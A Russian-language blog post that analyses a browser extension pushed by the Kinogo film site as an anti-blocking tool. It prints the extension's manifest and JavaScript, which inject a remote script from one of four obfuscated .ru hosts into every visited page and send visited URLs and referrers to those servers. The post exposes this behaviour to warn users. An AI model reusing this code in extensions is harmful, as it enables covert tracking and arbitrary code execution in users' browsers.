Браузерное расширение от сайта Kinogo
Продолжая тему вредоносных расширений, рассмотрим следующее.При входе на сайт Kinogo начал возникать баннер: Мне стало интересно что это за расширение и решил просмотреть код.
Почему появилось расширение? Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):
Текст со скриншота Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд) направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем все плагины наши, и мы активно их поддерживаем.Единственный плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержка Internet Exploler не будет.
Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться от него закрыв окошко.
О расширении Стоит отметить, что расширений существует несколько (не меньше 3х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.
Название: Angry Racoon — уход от банаДата последнего обновления: 5 Мая 2015.Версия: 1.0.3
Обзор кода расширения Коротко опишу, только интересную цепочку:
1. Разбор любого расширения начинается с manifest.json
manifest.json { «background»: { «page»: «html/background.html» }, «content_scripts»: [ { «js»: [ «core/frameworks/cajon.js», «core/frameworks/jquery.js», «core/process.js» ], «matches»: [ »*://*/*» ], «run_at»: «document_start» } ], «description»: «Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!», «icons»: { »128»: «images/128.png», »16»: «images/16.png», »48»: «images/48.png» }, «manifest_version»: 2, «name»: «Angry Kino — уход от бана», «permissions»: [ «webRequest», «webRequestBlocking», «webNavigation», «tabs», »\u003Call_urls>» ], «update_url»: «https://clients2.google.com/service/update2/crx», «version»:»1.0.3», «web_accessible_resources»: [ «images/_.png», «core/content.js», «core/contentSession.js», «core/messaging.js», «core/frameworks/uri.js», «core/backgroundHandlers.js», «core/backgroundSession.js», «core/backgroundUtils.js» ] } 2. Из значения ключа «content_scripts» следует, что кроме фреймворков на КАЖДУЮ, открытую пользователем страницу, подключается файл process.js
process.js require.config ({ baseUrl: chrome.extension.getURL ('/') });
require ([ «core/content» ], function () { }); 3. В process.js, с помощью функции require, подключается файл «content.js»
content.js define (function (require) { exports = {};
(function () { var messageDispatcher = require ('core/messaging').MessageDispatcher;
messageDispatcher.sendToBackground ( { cmd: 'GetRequestUrl' }, function (url) { if (url) { url = url.replace (/^https?:/, '') + '&r=' + encodeURIComponent (document.referrer) + '&h=' + encodeURIComponent (document.location.host) + '&rand=' + (new Date ()).getTime ();
if (document.head) { $(«head»).append ($(»», { src: url })); } else { var i = setInterval (function () { if (document.head) { clearInterval (i); $(«head»).append ($(»», { src: url })); } }, 100); } } });
if (/^(.*\.)? kinogo\.(\w+)$/i.test (document.location.host)) {
var i2 = setInterval (function () { if (document.body) { clearInterval (i2); $(«body»).append ($(»
}).call (this);
return exports; }); 4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js
messaging.js define (function (require) { exports = {};
(function () {
var _handlers = {};
function dispatcher (handlers, request, sender, sendResponse) { if (! request || ! request.cmd || !(typeof request.cmd === 'string')) { throw 'Error: Bad request!'; }
var handlerName = 'handle' + request.cmd; var handler = handlers[handlerName]; if (!(typeof handler === 'function')) { return; }
handler (request.args, sender, sendResponse); }
chrome.extension.onMessage.addListener ( function (request, sender, sendResponse) { dispatcher (_handlers, request, sender, sendResponse); } );
exports.MessageDispatcher = { addHandlers: function (handlers) { for (var name in handlers) { _handlers[name] = handlers[name]; } }, sendToBackground: function (request, callback) {
callback = callback || $.noop; chrome.extension.sendMessage (request, callback); }, sendToContentScript: function (tabId, request, callback) {
callback = callback || $.noop; chrome.tabs.sendMessage (tabId, request, callback); }
};
}).call (this);
return exports; }); 5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.
6. Итак функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.
7. Поиск получения файла с кодом для отдачи url, аналогичен пунктам выше, поэтому просто цепочка:
manifest.json ==(key «background.page»)==> background.html backround.html ==(script)==> demon.js demon.js ==(require)==> backround.js background.js ==(require)==> backgroundHandlers.js backgroundHandlers.js ==(require)==> backgroundUtils.js 8. Рассмотрим backgroundUtils.js
backgroundUtils.js define (function (require) { exports = {}; (function () {
var Session = require ('core/backgroundSession').Session; var ProxyGetter = require ('core/proxy').ProxyGetter;
exports = { getRequestUrl: function () { if (ProxyGetter.serverIp) { return ( ProxyGetter.serverIp + '/getscripts2?' + this.getRequestParams () ); } }, getRequestParams: function () { return ('&b=' + Session.buildId + '&uid=' + Session.instanceId + '&insd=' + Session.installDate + '&sid=' + '&df=' ); }, sendNotify: function (from, to) { if (ProxyGetter.serverIp) { var url = ( ProxyGetter.serverIp + '/kinogo_log?' + this.getRequestParams () + '&from=' + encodeURIComponent (from) + '&to=' + encodeURIComponent (to) ); $.get (url); } } };
}).call (this);
return exports; }); 9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4х url (рандомно).
'http://outrageous.ru', 'http://thrilling.ru', 'http://frightened.ru', 'http://agitated.ru', proxy.js define (function (require) { exports = {};
(function () { /** * Bypass protection from Roskomnadzor */ var reserveLinks = [ 'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru', 'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru', 'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru', 'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru', ]; var ProxyGetter = {}; ProxyGetter.serverIp = null; /** * Use proxy * @param {type} callback * @returns {undefined} */ ProxyGetter.findServer = function (callback) { ProxyGetter.serverIp = null; if (reserveLinks.length > 0) { ProxyGetter.serverIp = reserveLinks[parseInt (Math.random () * reserveLinks.length)]; } callback (); }; exports.ProxyGetter = ProxyGetter;
}).call (this); return exports; }); 10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.
Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:
А теперь соберем все воедино:
1. довольно популярный сайт просит установить расширение.2. расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).3. помимо скрипта идет явная отправка информации о пользователе: посещенные страницы, и рефереры для данных страниц.
Выводы делайте сами.